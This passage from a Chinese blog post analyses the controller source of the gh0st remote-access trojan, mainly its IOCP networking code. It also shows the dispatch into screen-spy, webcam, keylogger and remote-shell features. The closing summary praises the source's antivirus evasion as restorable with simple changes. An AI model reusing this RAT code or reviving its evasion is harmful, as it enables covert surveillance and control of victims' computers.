PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
pContext->m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
pContext->m_DeCompressionBuffer.ClearBuffer();
pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}
else
{
throw "bad buffer";
}
delete[] pData;
delete[] pDeCompressionData;
pContext->m_nMsgIn++;
}
else
break;
}
// Post to WSARecv Next
PostRecv(pContext);
}
catch (...)
{
pContext->m_CompressionBuffer.ClearBuffer();
// 要求重發,就發送0, 內核自動添加數包標誌
Send(pContext, NULL, 0);
PostRecv(pContext);
}
return true;
}
上述代碼中 40 行有一行調用:
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE);
這是一個函數指針,在 CMainFrame::Activate 函數中初始化:
//MainFrm.cpp 330行
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
CString str;
if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;
}
m_iocpServer = new CIOCPServer;
// 開啓IPCP服務器
if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))
{
//...無關代碼省略...
}
//...無關代碼省略...
}
上述第 13 行即初始化這個函數指針的代碼:
//IOCPServer.cpp 124行
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
m_pNotifyProc = pNotifyProc;
//...無關代碼省略...
return false;
}
這樣網絡線程中調用 m_pNotifyProc 實際上是調用的是 CMainFrame::NotifyProc,這個函數原始的代碼是這樣的:
//MainFrm.cpp 239行
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
//減少無效消息
if (pContext == NULL || pContext->m_DeCompressionBuffer.GetBufferLen() <= 0)
return;
try
{
CMainFrame* pFrame = (CMainFrame*) lpParam;
CString str;
// 對g_pConnectView 進行初始化
g_pConnectView = (CGh0stView *)((CGh0stApp *)AfxGetApp())->m_pConnectView;
// g_pConnectView還沒創建,這情況不會發生
if (((CGh0stApp *)AfxGetApp())->m_pConnectView == NULL)
return;
g_pConnectView->m_iocpServer = m_iocpServer;
str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);
//g_pFrame->m_wndStatusBar.SetPaneText(1, str);
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
ProcessReceive(pContext);
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext);
break;
}
}catch(...){}
}
這樣就出現了在網絡線程(工作線程)中直接操作 UI 元素,這在 CJ60Lib 這個庫中是不允許的,會導致程序崩潰。我作了如下修改:
-
在 CMainFrame::NotifyProc 通過 PostMessage 產生一個 UI 更新事件 WM_UPDATE_MAINFRAME 發給 UI 線程(主線程),數據通過 WM_UPDATE_MAINFRAME 消息的 WPARAM 和 LPARAM 兩個參數傳遞;
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode) { //減少無效消息 if (pContext == NULL || pContext->m_DeCompressionBuffer.GetBufferLen() <= 0) return; CMainFrame* pFrame = (CMainFrame*)lpParam; pFrame->PostMessage(WM_UPDATE_MAINFRAME, (WPARAM)nCode, (LPARAM)pContext); //CJlib庫不能在工作線程操作UI return; //使用return語句屏蔽無關的代碼 }
-
爲消息 WM_UPDATE_MAINFRAME 註冊消息處理函數 CMainFrame::NotifyProc2;
ON_MESSAGE(WM_UPDATE_MAINFRAME, NotifyProc2)
-
在 CMainFrame::NotifyProc2 根據消息攜帶的參數更新界面。
LRESULT CMainFrame::NotifyProc2(WPARAM wParam, LPARAM lParam) { ClientContext* pContext = (ClientContext *)lParam; UINT nCode = (UINT)wParam; try { //CMainFrame* pFrame = (CMainFrame*)lpParam; CString str; // 對g_pConnectView 進行初始化 g_pConnectView = (CGh0stView *)((CGh0stApp *)AfxGetApp())->m_pConnectView; // g_pConnectView還沒創建,這情況不會發生 if (((CGh0stApp *)AfxGetApp())->m_pConnectView == NULL) return 0; g_pConnectView->m_iocpServer = m_iocpServer; str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024); m_wndStatusBar.SetPaneText(1, str); switch (nCode) { case NC_CLIENT_CONNECT: break; case NC_CLIENT_DISCONNECT: g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); break; case NC_TRANSMIT: break; case NC_RECEIVE: ProcessReceive(pContext); break; case NC_RECEIVE_COMPLETE: ProcessReceiveComplete(pContext); break; } } catch (...){} return 1; }
gh0st_server 網絡通信框架分析
gh0st_server 是一個 MFC 程序,其有一個繼承自 CWinApp 對象的程序實例對象 CGh0stApp,CGh0stApp 重寫了 CWinApp 的 InitInstance 方法,在該方法中創建主窗口後,從配置文件 gh0st_server.ini 中讀取偵聽端口號(讀不到會採用默認值 8080)後調用 ((CMainFrame) m_pMainWnd)->Activate(nPort, nMaxConnection);* 做網絡初始化工作:
//gh0st.cpp 125行
BOOL CGh0stApp::InitInstance()
{
//...無關代碼省略...
// 啓動IOCP服務器
int nPort = m_IniFile.GetInt(TEXT("Settings"), TEXT("ListenPort"));
int nMaxConnection = m_IniFile.GetInt(TEXT("Settings"), TEXT("MaxConnection"));
if (nPort == 0)
nPort = 8080;
if (nMaxConnection == 0)
nMaxConnection = 10000;
if (m_IniFile.GetInt(TEXT("Settings"), TEXT("MaxConnectionAuto")))
nMaxConnection = 8000;
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
return TRUE;
}
CMainFrame::Activate 函數中創建 CIOCPServer 堆對象(new 出來的),然後調用 CIOCPServer::Initialize 函數進行網絡相關的初始化工作:
//IOCPServer.cpp 124行
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
m_pNotifyProc = pNotifyProc;
m_pFrame = pFrame;
m_nMaxConnections = nMaxConnections;
m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socListen == INVALID_SOCKET)
{
TRACE(_T("Could not create listen socket %ld\n"), WSAGetLastError());
return false;
}
// Event for handling Network IO
m_hEvent = WSACreateEvent();
if (m_hEvent == WSA_INVALID_EVENT)
{
TRACE(_T("WSACreateEvent() error %ld\n"), WSAGetLastError());
closesocket(m_socListen);
return false;
}
// The listener is ONLY interested in FD_ACCEPT
// That is when a client connects to or IP/Port
// Request async notification
/*
WSAEventSelect模型是WindowsSockets提供的一個有用異步I/O模型。
該模型允許在一個或者多個套接字上接收以事件爲基礎的網絡事件通知。
Windows Sockets應用程序在創建套接字後,調用WSAEventSelect()函數,將一個事件對象與網絡事件集合關聯在一起。
當網絡事件發生時,應用程序以事件的形式接收網絡事件通知。
WSAEventSelect模型簡單易用,也不需要窗口環境。
該模型唯一的缺點是有最多等待64個事件對象的限制,當套接字連接數量增加時,就必須創建多個線程來處理I/O,也就是所謂的線程池。
*/
int nRet = WSAEventSelect(m_socListen, m_hEvent, FD_ACCEPT);
if (nRet == SOCKET_ERROR)
{
TRACE(_T("WSAAsyncSelect() error %ld\n"), WSAGetLastError());
closesocket(m_socListen);
return false;
}
SOCKADDR_IN saServer;
// Listen on our designated Port#
saServer.sin_port = htons(nPort);
// Fill in the rest of the address structure
saServer.sin_family = AF_INET;
saServer.sin_addr.s_addr = INADDR_ANY;
// bind our name to the socket
nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet == SOCKET_ERROR)
{
DWORD dwErr = GetLastError();
closesocket(m_socListen);
return false;
}
// Set the socket to listen
nRet = listen(m_socListen, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
TRACE(_T("listen() error %ld\n"), WSAGetLastError());
closesocket(m_socListen);
return false;
}
////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////
UINT dwThreadId = 0;
m_hThread =
(HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
ListenThreadProc, // Thread fn entry point
(void*) this,
0, // Init flag
&dwThreadId); // Thread address
if (m_hThread != INVALID_HANDLE_VALUE)
{
InitializeIOCP();
m_bInit = true;
return true;
}
return false;
}
這些網絡初始化步驟我們可以繪製成如下流程示意圖:
與上一節介紹的完成端口中的對於接受連接的邏輯略有不用,gh0st_server 中專門新建了一個線程(線程函數 ListenThreadProc )來處理新的連接,在這個線程函數中使用 Windows 的 WSAEventSelect 網絡模型來檢測新連接事件:
//IOCPServer.cpp 237行
unsigned CIOCPServer::ListenThreadProc(LPVOID lParam)
{
CIOCPServer* pThis = reinterpret_cast<CIOCPServer*>(lParam);
WSANETWORKEVENTS events;
while (1)
{
//
// Wait for something to happen
//
if (WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)
break;
DWORD dwRet;
dwRet = WSAWaitForMultipleEvents(1,
&pThis->m_hEvent,
FALSE,
100,
FALSE);
if (dwRet == WSA_WAIT_TIMEOUT)
continue;
//
// Figure out what happened
//
int nRet = WSAEnumNetworkEvents(pThis->m_socListen,
pThis->m_hEvent,
&events);
if (nRet == SOCKET_ERROR)
{
TRACE(_T("WSAEnumNetworkEvents error %ld\n"), WSAGetLastError());
break;
}
// Handle Network events //
// ACCEPT
if (events.lNetworkEvents & FD_ACCEPT)
{
if (events.iErrorCode[FD_ACCEPT_BIT] == 0)
pThis->OnAccept();
else
{
TRACE(_T("Unknown network event error %ld\n"), WSAGetLastError());
break;
}
}
} // while....
return 0; // Normal Thread Exit Code...
}
當有新連接到來時,在 pThis->OnAccept() 中調用 socket accept 函數做實際的接受連接操作:
void CIOCPServer::OnAccept()
{
m_listContexts.AssertValid();
int g = m_listContexts.GetCount();
SOCKADDR_IN SockAddr;
SOCKET clientSocket;
int nRet;
int nLen;
if (m_bTimeToKill || m_bDisconnectAll)
return;
//
// accept the new socket descriptor
//
nLen = sizeof(SOCKADDR_IN);
clientSocket = accept(m_socListen,
(LPSOCKADDR)&SockAddr,
&nLen);
if (clientSocket == SOCKET_ERROR)
{
nRet = WSAGetLastError();
if (nRet != WSAEWOULDBLOCK)
{
//
// Just log the error and return
//
TRACE(_T("accept() error\n"), WSAGetLastError());
return;
}
}
// Create the Client context to be associted with the completion port
ClientContext* pContext = AllocateContext();
// AllocateContext fail
if (pContext == NULL)
return;
pContext->m_Socket = clientSocket;
// Fix up In Buffer
pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;
pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);
// Associate the new socket with a completion port.
if (!AssociateSocketWithCompletionPort(clientSocket, m_hCompletionPort, (DWORD)pContext))
{
delete pContext;
pContext = NULL;
closesocket(clientSocket);
closesocket(m_socListen);
return;
}
// 關閉nagle算法,以免影響性能,因爲控制時控制端要發送很多數據量很小的數據包,要求馬上發送
// 暫不關閉,實驗得知能網絡整體性能有很大影響
const char chOpt = 1;
// int nErr = setsockopt(pContext->m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// if (nErr == -1)
// {
// TRACE(_T("setsockopt() error\n"),WSAGetLastError());
// return;
// }
// Set KeepAlive 開啓保活機制
if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0)
{
TRACE(_T("setsockopt() error\n"), WSAGetLastError());
}
// 設置超時詳細信息
DWORD cbBytesReturned;
tcp_keepalive klive;
klive.onoff = 1; // 啓用保活
klive.keepalivetime = m_nKeepLiveTime;
klive.keepaliveinterval = 1000 * 10; // 重試間隔爲10秒 Resend if No-Reply
WSAIoctl
(
pContext->m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
//(unsigned long *)&chOpt,
&cbBytesReturned,
NULL,
NULL
);
CLock cs(m_cs, "OnAccept");
// Hold a reference to the context
m_listContexts.AddTail(pContext);
// Trigger first IO Completion Request
// Otherwise the Worker thread will remain blocked waiting for GetQueuedCompletionStatus...
// The first message that gets queued up is ClientIoInitializing - see ThreadPoolFunc and
// IO_MESSAGE_HANDLER
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
if ((!bSuccess && GetLastError() != ERROR_IO_PENDING))
{
RemoveStaleClient(pContext, TRUE);
return;
}
m_pFrame->PostMessage(WM_WORKTHREAD_MSG, NC_CLIENT_CONNECT, (LPARAM)pContext);
//m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_CONNECT);
// Post to WSARecv Next
PostRecv(pContext);
}
這個函數中的操作是完成端口模型的關鍵,我們梳理成如下流程圖:
無論是投遞的 IOInitialize 還是 IORead 事件都將交給完成端口的工作線程去處理,我們來看一下完成端口相關的工作線程的邏輯,我將不相關的代碼簡化去,保留主幹代碼:
//IOCPServer.cpp 550行
unsigned CIOCPServer::ThreadPoolFunc(LPVOID thisContext)
{
// Get back our pointer to the class
ULONG ulFlags = MSG_PARTIAL;
CIOCPServer* pThis = reinterpret_cast<CIOCPServer*>(thisContext);
ASSERT(pThis);
HANDLE hCompletionPort = pThis->m_hCompletionPort;
DWORD dwIoSize;
LPOVERLAPPED lpOverlapped;
ClientContext* lpClientContext;
OVERLAPPEDPLUS* pOverlapPlus;
bool bError;
bool bEnterRead;
InterlockedIncrement(&pThis->m_nCurrentThreads);
InterlockedIncrement(&pThis->m_nBusyThreads);
//
// Loop round and round servicing I/O completions.
//
for (BOOL bStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false;)
{
//...無關代碼省略...
// Get a completed IO request.
BOOL bIORet = GetQueuedCompletionStatus(hCompletionPort,
&dwIoSize,
(LPDWORD)&lpClientContext,
&lpOverlapped, INFINITE);
pOverlapPlus = CONTAINING_RECORD(lpOverlapped, OVERLAPPEDPLUS, m_ol);
pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);
//...無關代碼省略...
}
return 0;
}
能看得出來 lpOverlapped 這個對象的作用嗎?沒錯,就是我們前面介紹完成端口模型中說的單 IO 數據(Per IO Data),lpClientContext 就是單句柄數據 (Per Socket Data)。然後根據事件的類型 pOverlapPlus->m_ioType 來進行實際的處理,CIOCP::ProcessIOMessage 的實現通過下面的宏拼湊出來的 if 語句:
BEGIN_IO_MSG_MAP()
IO_MESSAGE_HANDLER(IORead, OnClientReading)
IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
END_IO_MSG_MAP()
CIOCPServer::OnClientInitializing 實際什麼也沒做,我們這裏就不貼它的代碼了。
我們先來看下 CIOCPServer::OnClientReading 函數:
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
CLock cs(CIOCPServer::m_cs, "OnClientReading");
try
{
//////////////////////////////////////////////////////////////////////////
static DWORD nLastTick = GetTickCount();
static DWORD nBytes = 0;
nBytes += dwIoSize;
if (GetTickCount() - nLastTick >= 1000)
{
nLastTick = GetTickCount();
InterlockedExchange((LPLONG)&(m_nRecvKbps), nBytes);
nBytes = 0;
}
//////////////////////////////////////////////////////////////////////////
if (dwIoSize == 0)
{
RemoveStaleClient(pContext, FALSE);
return false;
}
if (dwIoSize == FLAG_SIZE && memcmp(pContext->m_byInBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新發送
Send(pContext, pContext->m_ResendWriteBuffer.GetBuffer(), pContext->m_ResendWriteBuffer.GetBufferLen());
// 必須再投遞一個接收請求
PostRecv(pContext);
return true;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
pContext->m_CompressionBuffer.Write(pContext->m_byInBuffer, dwIoSize);
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE);
// Check real Data
while (pContext->m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, pContext->m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
//nSize是包的總大小
int nSize = 0;
//CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(bPacketFlag));
// Update Process Variable
pContext->m_nTransferProgress = pContext->m_CompressionBuffer.GetBufferLen() * 100 / nSize;
if (nSize && (pContext->m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
pContext->m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
pContext->m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
pContext->m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
pContext->m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
pContext->m_DeCompressionBuffer.ClearBuffer();
pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}
else
{
throw "bad buffer";
}
delete[] pData;
delete[] pDeCompressionData;
pContext->m_nMsgIn++;
}
else
break;
}
// Post to WSARecv Next
PostRecv(pContext);
}
catch (...)
{
pContext->m_CompressionBuffer.ClearBuffer();
// 要求重發,就發送0, 內核自動添加數包標誌
Send(pContext, NULL, 0);
PostRecv(pContext);
}
return true;
}
這段代碼有幾個地方需要注意一下:
-
正如我們前面介紹完成端口模型所說的,當我們收到 IORead 事件時,我們的數據已經由系統幫我們處理好了,我們無需再調用 recv 之類的函數進行數據的收取,只要從單 IO 數據(這裏實際上使用的是單句柄數據—— pContext)中把數據取出來處理就可以了。對於數據的解包操作,我們在上文 gh0st_client 源碼分析中已經介紹過了,這裏不再贅述。
-
每用完一個 IORead 事件,爲了下一次能繼續收數據,我們需要補充一個,所以每次解完包,我們會調用 PostRecv 函數繼續投遞一個。
-
在該處理函數的代碼中第一行有一個加鎖代碼:
CLock cs(CIOCPServer::m_cs, "OnClientReading");
CLock 是利用 RAII 技術對 Windows CriticalSection 對象進行了簡單的封裝。那麼你想過沒有:這個鎖用來保護什麼資源呢?
上述代碼中還有這樣一段:
if (dwIoSize == 0)
{
RemoveStaleClient(pContext, FALSE);
return false;
}
接收到的數據長度 dwIoSize 爲 0 時表示對端關閉了連接,此時我們應該也關閉連接。這個時候單句柄數據(pContext)就無意義了。需要回收,由於這個對象是一個堆內存,gh0st 並沒有將其直接銷燬,而是將其從 m_listContexts 移動到 m_listFreePool 中,這兩個對象的類型都是 ContextList,ContextList 是 基於 MFC 的 CList 定義的類型(CList 類似於 stl 的 std::list),以便於下次複用,這樣一定程度上避免了反覆的 new 和 delete 產生的內存碎片。
typedef CList<ClientContext*, ClientContext*& > ContextList;
由於多個線程可能會同時操作 m_listContexts 和 m_listFreePool ,所以這裏使用了鎖進行保護。但是,我在實際閱讀 RemoveStaleClient 函數時,發現這個函數中已經加鎖了:
//IOCPServer.cpp 1129行
void CIOCPServer::RemoveStaleClient(ClientContext* pContext, BOOL bGraceful)
{
CLock cs(m_cs, "RemoveStaleClient");
//...其他代碼省略...
}
所以,完成端口工作線程中的加鎖代碼,筆者認爲沒有必要,可能是 gh0st 作者疏忽了。
-
當我們處理完某個數據包後,我們應答客戶端調用 CIOCPServer::Send 方法,這個方法中一定是把應答數據包按協議格式組裝後,然後向完成端口投遞一個寫事件(這裏是 IOWrite):
//IOCPServer.cpp 767行 void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize) { if (pContext == NULL) return; try { if (nSize > 0) { // Compress data unsigned long destLen = (double)nSize * 1.001 + 12; LPBYTE pDest = new BYTE[destLen]; int nRet = compress(pDest, &destLen, lpData, nSize); if (nRet != Z_OK) { delete[] pDest; return; } ////////////////////////////////////////////////////////////////////////// LONG nBufLen = destLen + HDR_SIZE; // 5 bytes packet flag pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 4 byte header [Size of Entire Packet] pContext->m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen)); // 4 byte header [Size of UnCompress Entire Packet] pContext->m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize)); // Write Data pContext->m_WriteBuffer.Write(pDest, destLen); delete[] pDest; // 發送完後,再備份數據, 因爲有可能是m_ResendWriteBuffer本身在發送,所以不直接寫入 LPBYTE lpResendWriteBuffer = new BYTE[nSize]; CopyMemory(lpResendWriteBuffer, lpData, nSize); pContext->m_ResendWriteBuffer.ClearBuffer(); pContext->m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 備份發送的數據 delete[] lpResendWriteBuffer; } else // 要求重發 { pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); pContext->m_ResendWriteBuffer.ClearBuffer(); pContext->m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 備份發送的數據 } // Wait for Data Ready signal to become available WaitForSingleObject(pContext->m_hWriteComplete, INFINITE); // Prepare Packet // pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize]; // pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen(); OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol); pContext->m_nMsgOut++; } catch (...){} }
數據重發的邏輯和 gh0st_client 中一樣,這裏也不再重複了。
解析得到一個業務數據後,通過調用:
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE);
來交給 UI 線程(具體邏輯這在前面筆者修正的 bug 那一段已經介紹過了):
//MainFrm.cpp 287行
LRESULT CMainFrame::NotifyProc2(WPARAM wParam, LPARAM lParam)
{
ClientContext* pContext = (ClientContext *)lParam;
UINT nCode = (UINT)wParam;
try
{
//CMainFrame* pFrame = (CMainFrame*)lpParam;
CString str;
// 對g_pConnectView 進行初始化
g_pConnectView = (CGh0stView *)((CGh0stApp *)AfxGetApp())->m_pConnectView;
// g_pConnectView還沒創建,這情況不會發生
if (((CGh0stApp *)AfxGetApp())->m_pConnectView == NULL)
return 0;
g_pConnectView->m_iocpServer = m_iocpServer;
str.Format(_T("S: %.2f kb/s R: %.2f kb/s"), (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);
m_wndStatusBar.SetPaneText(1, str);
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
ProcessReceive(pContext);
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext);
break;
}
}
catch (...){}
return 1;
}
對於 NC_RECEIVE_COMPLETE 的處理邏輯實際上是調用 ProcessReceiveComplete 函數:
void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
if (pContext == NULL)
return;
// 如果管理對話框打開,交給相應的對話框處理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
// 交給窗口處理
if (pContext->m_Dialog[0] > 0)
{
switch (pContext->m_Dialog[0])
{
case FILEMANAGER_DLG:
((CFileManagerDlg *)dlg)->OnReceiveComplete();
break;
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
case WEBCAM_DLG:
((CWebCamDlg *)dlg)->OnReceiveComplete();
break;
case AUDIO_DLG:
((CAudioDlg *)dlg)->OnReceiveComplete();
break;
case KEYBOARD_DLG:
((CKeyBoardDlg *)dlg)->OnReceiveComplete();
break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}
BYTE b = pContext->m_DeCompressionBuffer.GetBuffer(0)[0];
switch (b)
{
case TOKEN_AUTH: // 要求驗證
{
AfxMessageBox(_T("要求驗證1"));
BYTE *bToken = new BYTE[ m_PassWord.GetLength() + 2 ];//COMMAND_ACTIVED;
bToken[0] = TOKEN_AUTH;
memcpy( bToken + 1, m_PassWord, m_PassWord.GetLength() );
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
delete[] bToken;
// m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
}
break;
case TOKEN_HEARTBEAT: // 回覆心跳包
{
BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;
case TOKEN_LOGIN_FALSE: // 上線包
{
if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
}
case TOKEN_LOGIN_TRUE: // 上線包
{
if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
}
break;
case TOKEN_DRIVE_LIST: // 驅動器列表
// 指接調用public函數非模態對話框會失去反應, 不知道怎麼回事,太菜
g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO: //
// 指接調用public函數非模態對話框會失去反應, 不知道怎麼回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO: // 攝像頭
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 語音
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START://鍵盤記錄
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_PSLIST://進程列表
g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START://CMD
g_pConnectView->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止當前操作
default:
closesocket(pContext->m_Socket);
break;
}
}
這裏實際上就是把數據交給具體的對話框進行顯示了,界面邏輯這裏就不介紹了。
小結
關於 gh0st 源碼分析,本文就介紹這麼多,但是 gh0st 源碼中有價值的東西遠非這麼多。例如,有很多過殺毒軟件的措施,雖然可能隨着操作系統版本的升級已經失效,但是經過一些簡單的修改即可恢復作用。另外,本例中的 gh0st_client 以獨立的 exe 形式運行,源碼中還可以以 Windows 服務等其他形式運行。這是一份非常值得學習和細細體會的珍貴資源,希望能讀者帶來一些啓示和幫助。
最後,鄭重聲明一下, 本文所分享的技術包括 gh0st 源碼僅供學習之用,不得非法傳播和他用,違者後果自負。
本文首發於『easyserverdev』公衆號,歡迎關注,轉載請保留版權信息。
歡迎加入高性能服務器開發 QQ 羣一起交流: 578019391 。